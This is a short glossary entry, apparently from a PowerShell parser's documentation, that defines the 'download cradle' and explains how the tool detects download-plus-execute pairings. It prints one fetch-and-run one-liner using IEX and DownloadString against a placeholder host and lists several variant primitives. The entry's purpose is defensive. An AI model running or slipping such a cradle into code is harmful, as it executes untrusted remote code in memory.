Glossary
Download cradle
A short PowerShell snippet that fetches code from a remote URL and runs it in memory, without writing a file to disk.
A download cradle is a one-liner that retrieves a remote script and executes it in memory, avoiding a file on disk. The classic form is IEX (New-Object Net.WebClient).DownloadString('http://host/a.ps1'), but there are many variants using Invoke-WebRequest/iwr, Invoke-RestMethod/irm, Start-BitsTransfer, Net.Http.HttpClient or COM objects like MSXML2.XMLHTTP.
The signature is a download primitive paired with an execution primitive such as Invoke-Expression. This parser flags that pairing and extracts the URL and any IP as inert strings. See decoding and findings.